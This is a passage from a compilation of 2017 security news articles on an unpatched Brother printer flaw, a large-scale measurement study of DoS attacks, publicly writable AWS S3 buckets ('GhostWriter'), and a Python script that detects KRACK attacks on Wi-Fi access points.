Trustwave has been trying to inform Brother about the vulnerability since September, but it decided to make its findings public, along with proof-of-concept (PoC) code, after all attempts to contact the vendor failed. The flaw remains unpatched, the company said.

Brother is not the only company whose printers are affected by vulnerabilities. A report published early this year showed that several devices from HP, Brother, Lexmark, Dell, Samsung, Konica, OKI and Kyocera had at least one flaw, including ones that could be exploited for DoS attacks or to obtain sensitive information.

Last year, a researcher demonstrated the risks associated with unprotected printers by getting thousands of devices around the world to print anti-Semitic flyers.


One Third of The Internet Has Seen a DDoS Attack In The Past Two Years
7.11.2017 securityaffairs
Attack

A group of researchers has conducted a rigorous comprehensive characterization of this DDoS attacks and of countermeasures to mitigate the associated risks.
Denial of Service (DoS) attacks have been around about as long as computers have been network connected. A website’s purpose is to accept connections from the Internet and return information. A bad actor can take advantage of this setup to overwhelm the web server with so many connection requests that valid connections are denied. If your business relies on eCommerce to sell products, a DoS attack directly affects your revenue. For this reason, a lot of people work to find methods to guard against such attacks. And bad actors work to find new ways of overcoming such protections.

One method deployed by the bad actors is the Distributed Denial of Service (DDoS) attack. Many computers work together to attack a single target. Defenders put in new defences and attackers combine ever-larger collections of devices in a cyber arms race of sorts. This arms race took a new turn in 2016 when the Mirai botnet was unleashed against DNS servers showing how potent a DDoS attack can be. Leveraging consumer devices like home routers and webcams, Mirai was able to maintain a sustained attack of 640Gbps. This overwhelmed DNS servers in the United States making large portions of the Internet unavailable. There followed several equally high profile attacks and people woke up to the new reality.

In 2017, researchers uncovered a new botnet which is expanding on the tricks used by Mirai. In addition to scanning for default passwords, Reaper uses exploits to compromise more devices and grow the attack potential. There are disagreements about the specific size of the Reaper botnet, but everyone agrees it is a significant threat.

These major botnets are capable of impacting large portions of the Internet and getting into the headlines doing it. But there is another DoS story that is arguably more impactful and less well known. Over 28,00 DoS attacks occur on the Internet every day!

A group of researchers unveiled their findings at the recent AMC Internet Measurement Conference in London. They gathered data from DDoS Protection Services (DPS) , amplification honeypots, and a DNS measurement platform. The data showed that one-third of all /24 networks recently estimated to be active on the Internet have suffered at least one DoS attack over the last two years.

“Our results reveal the massive scale of the DoS problem, including an eye-opening statistic that one-third of all /24 networks recently estimated to be active on the Internet have suffered at least one DoS attack over the last two years. We also discovered that often targets are simultaneously hit by different types of attacks” reads the research paper published by the experts.

While large-scale attacks like Mirai and Reaper may get the headlines, this amount of DDoS attacking will have real impacts for the victims.

DDoS attack timeline

The researchers noted that victims are likely to engage DPS providers following an attack.

“One of the things we show is if a website is attacked, this creates an urgency for people to start outsourcing to protection services,” said Mattjis Jonker, one of the researchers from the University of Twente.

This early research sheds light on the breadth and scale of the problem beyond the headline-grabbing attacks.

“During this recent two-year period under study, the internet was targeted by nearly 30,000 attacks per day,” said Alberto Dainotti, one of the researchers from CAIDA (Center for Applied Internet Data Analysis)

“These absolute numbers are staggering, a thousand times bigger than other reports have shown.”

The researchers have also validated some assumptions about potential targets. The United States hosts around 25% of web addresses and received around 25% of DDoS attacks. Following a similar pattern, Google, GoDaddy, and Wix services host the most websites and also see the most attacks.

Following this early success, researchers are next planning to include more data including DoS attacks on email servers with the ultimate goal being DDoS protection solutions.

The researchers plan to investigate the impact of DoS attacks on mail infrastructure in future projects, they already instrumented a measurement infrastructure to query for more DNS RRs on the names found in MX records.


The Internet Sees Nearly 30,000 Distinct DoS Attacks Each Day: Study
6.11.2017 securityweek
Attack
The incidence of denial-of-service (DoS) attacks has consistently grown over the last few years, "steadily becoming one of the biggest threats to Internet stability and reliability." Over the last year or so, the emergence of IoT-based botnets -- such as Mirai and more recently Reaper, with as yet unknown total capacity -- has left security researchers wondering whether a distributed denial-of-service (DDoS) attack could soon take down the entire internet.

The problem is there is no macroscopic view of the DoS ecosphere. Analyses tend to be by individual research teams examining individual botnets or attacks. Now academics from the University of Twente (Netherlands); UC San Diego (USA); and Saarland University (Germany) have addressed this problem "by introducing and applying a new framework to enable a macroscopic characterization of attacks, attack targets, and DDoS Protection Services (DPSs)."

The initial results, published in a paper (PDF) presented at IMC 2017 in London this week, took the researchers by surprise. In devising a methodology to assess the entire DoS ecosphere, they discovered "the massive scale of the DoS problem, including an eye-opening statistic that one-third of all /24 networks recently estimated to be active on the Internet have suffered at least one DoS attack over the last two years."

In developing their framework for a macroscopic evaluation of Dos, the researchers aggregated and analyzed data over the last two years from the the UCSD Network Telescope -- which captures evidence of DoS attacks that involve randomly and uniformly spoofed addresses -- and the AmpPot DDoS honeypots -- which witness reflection and amplification of DoS attacks.

The results are staggering. "Together," say the researchers, "our data sets of attack events account for 20.90 M attacks, targeting 6.34 M unique IP addresses, over a two-year period." The daily figures are no less surprising. By combining the direct attacks with the reflection attacks, the researchers discovered that the internet suffers an average of 28,700 distinct DoS attacks every day. This is claimed to be 1000 times greater than other reports have indicated.

"A takeaway from these results," say the researchers, "is that each day we see attacks on tens of thousands of unique target IP addresses, spread over thousands of autonomous systems."

The geolocation of the targets closely reflects internet address space utilization -- for example, the USA has 25.56% of all unique IP addresses, and is the target for about 25% of all randomly spoofed attacks. Chinese IP addresses are the second most common target for random spoofing attacks. However, there are some exceptions. Russia and France both rank higher in the percentage of attacks than their overall percentage of internet address space -- making these locations statistically more likely to receive DoS attacks. Japan is the opposite with almost 7% of address space (the third largest region), but ranking 14th in the honeypot dataset and 25th in the telescope data set of attacks -- making Japan statistically one of the safer regions.

The purpose of the study as to understand the overall scope and extent of DoS attacks together with the market reaction to them so that more efficient responses might be developed. In terms of current market reaction, it concludes that low-level, even if repeated, attacks are largely ignored by the site owners. By correlating attacks with the time web sites migrated their DoS defense to third-party DPS companies, the researchers were able to determine what triggers the use of a DPS. They found, in general, that attack duration does not strongly correlate with DPS migration; but early migration follows attacks of high intensity.

For now, this is a work in progress, and the researchers hope to expand its extent and coverage. For example, the current study concentrates on web attacks. The researchers note, however, that GoDaddyís e-mail servers, which are used by tens of millions of domain names, are frequently targeted by DoS attacks. "In future work," they say, "we plan to investigate the impact of DoS attacks on mail infrastructure and for this purpose we recently instrumented our measurement infrastructure to query for more DNS RRs on the names found in MX records."

The biggest single takeaway from this study, which aimed to provide a macroscopic view of the worldwide DoS problem, is that it has simultaneously discovered that the DoS problem is already many times greater than previously thought.


AWS S3 Buckets at Risk of "GhostWriter" MiTM Attack
6.11.2017 securityweek
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GhostWriter: Writable AWS S3 Buckets Could Be Exploited to Overwrite Existing Data and Files, or Upload Malware

The exposure of sensitive data via misconfigured AWS S3 buckets has been regular over the last few years. In two months this summer, researchers discovered thousands of potentially sensitive files belonging to the U.S. National Geospatial-Intelligence Agency (NGA); information on millions of Verizon customers; and a database containing details of 198 million American voters.

In each case a misconfiguration of the S3 buckets left the data freely accessible to anyone via the internet. Amazon's 'shared responsibility' model clearly states that Amazon is responsible for security of the cloud (that is, the cloud infrastructure) while the customer is responsible for security in the cloud (that is, protecting data through AWS configuration and/or other means). In leaving the data open to public reads, S3 data exposure is clearly the fault of the customers and not Amazon.

Now, however, Skyhigh Networks research has discovered that some AWS customers are also leaving their data open to public writes. Skyhigh calls this vulnerability, 'GhostWriter'. In a blog post Friday, chief scientist & VP Eng., Sekhar Sarukkai, warned, "In such cases a 3rd party, unbeknownst to either the data owner or the data consumer, can launch a surreptitious man-in-the-middle (MITM) attack."

Vulnerable buckets found by Skyhigh -- which has reported its findings to AWS -- are owned by leading national news/media sites, large retail stores, popular cloud services, and leading advertisement networks. An adversary merely has to locate writable buckets to be able to overwrite existing data and files, or upload malware into the bucket.

"Bucket owners who store JavaScript or other code should pay particular attention to this issue," warns Sarukkai, "to ensure that 3rd parties don't silently overwrite their code for drive-by attacks, bitcoin mining or other exploits. Even benign image or document content left open for overwriting can be exploited for steganography attacks or malware distribution."

Ironically, this vulnerability could affect researchers who find a readable bucket and download the data for analysis, not knowing that a third-party has already altered the data. However, the biggest danger will be to the data owners and authorized users who access the stored data. They could download and use incorrect data, or even download malware from their own or a partner's data.

It is not known whether this vulnerability has ever been exploited -- but it certainly exists. "We've informed our customers about misconfigured S3 Buckets and the possible opportunity for GhostWriter attacks and there has been some alarm," Skyhigh's chief European spokesperson Nigel Hawthorn told SecurityWeek. "Some have been experiencing issues of differing severity recently which GhostWriter may have been the cause of. Considering how widely used S3 is, it's hard to see how it hasn't been exploited. We have worked with those customers and AWS to rectify configurations."

Sarukkai believes that there are two aspects to staying safe from GhostWriter: 'trust but verify' (by ensuring that staff can only download from own or third-party buckets that are not susceptible to GhostWriter); and 'trust but audit' (by making sure that an organization's own S3 buckets are not publicly writable).

Skyhigh Networks has the facility to audit S3 buckets used by its own CASB customers, while "AWS provides many native best-practices and tools to manage and validate policies for configuring S3," notes Sarukkai. In August, Amazon announced a new service called Macie. Macie uses machine learning to help its customers discover, classify and protect sensitive data.


KRACK Detector is a tool to detect and prevent KRACK attacks in your network
6.11.2017 securityaffairs
Attack

How to discover if your network is vulnerable to KRACK attack?
KRACK Detector is a script that can detect attacks against client devices on your network.
Last week I published a post warning of many industrial networking devices from various vendors are still vulnerable to the recently disclosed KRACK attack (Key Reinstallation Attack).

The Belgian researcher Mathy Vanhoef of imec-DistriNet, KU Leuven and his team of researchers discovered in the middle-October several key management flaws in the core of Wi-Fi Protected Access II (WPA2) protocol that could be exploited by an attacker to hack into Wi-Fi network and eavesdrop on the Internet communications stealing sensitive information (i.e. credit card numbers, passwords, chat messages, emails, and pictures).

The researchers devised an attack method dubbed KRACK attack (Key Reinstallation Attack) that works against almost any WPA2 Wi-Fi network.
The KRACK attack allows attackers to decrypt WiFi users’ data without cracking or knowing the password.

According to the researchers, the KRACK attack works against:

Both WPA1 and WPA2,
Personal and enterprise networks,
Ciphers WPA-TKIP, AES-CCMP, and GCMP
The KRACK attack works by exploiting a 4-way handshake of the WPA2 protocol that’s used to establish a key for encrypting traffic.

“When the victim reinstalls the key, associated parameters such as the incremental transmit packet number (i.e. nonce) and receive packet number (i.e. replay counter) are reset to their initial value,” explained Vanhoef. “Essentially, to guarantee security, a key should only be installed and used once. Unfortunately, we found this is not guaranteed by the WPA2 protocol. By manipulating cryptographic handshakes, we can abuse this weakness in practice.”

KRACK Detector

The attacker just needs to trick a victim into re-installing an already-in-use key, which is achieved by manipulating and replaying cryptographic handshake messages.

How to discover if your network is vulnerable to KRACK attack?
KRACK Detector is a script written in Python Language that can detect possible KRACK attacks against client devices on your network. It uses Python 2 for backward compatibility with older operating systems.

“KRACK Detector is a Python script to detect possible KRACK attacks against client devices on your network. The script is meant to be run on the Access Point rather than the client devices. It listens on the Wi-Fi interface and waits for duplicate message 3 of the 4-way handshake. It then disconnects the suspected device, preventing it from sending any further sensitive data to the Access Point.” states the description of the tool.

Network administrators have to run the script on the Access Point rather than the client devices, it listens on the Wi-Fi interface and waits for duplicate message 3 of the 4-way handshake. Once it detects a device sending the handshake message it then disconnects it in order to prevent it from sending any further sensitive data to the Access Point.

The presence of message 3 of the 4-way handshake is a necessary condition for the Krack attack, however, it might be retransmitted even if no attack is ongoing.

“In such a case the client device will be disconnected from the Wi-Fi network. Some client devices will take some time to re-authenticate themselves, losing the Wi-Fi connection for a few seconds.” reported the Kitploit.com.

No external Python packages are required, network administrators have to run the script as root and pass the Wi-Fi interface as a single argument.

Administrators need to use the actual Wi-Fi interface and not any bridge interface it connects to.

python krack_detect.py wlan0
The tool also allows avoiding suspending suspected devices by using the “-n” flag

python krack_detect.py -n wlan0
The tool is available on Github at the following link:

Download KRACK Detector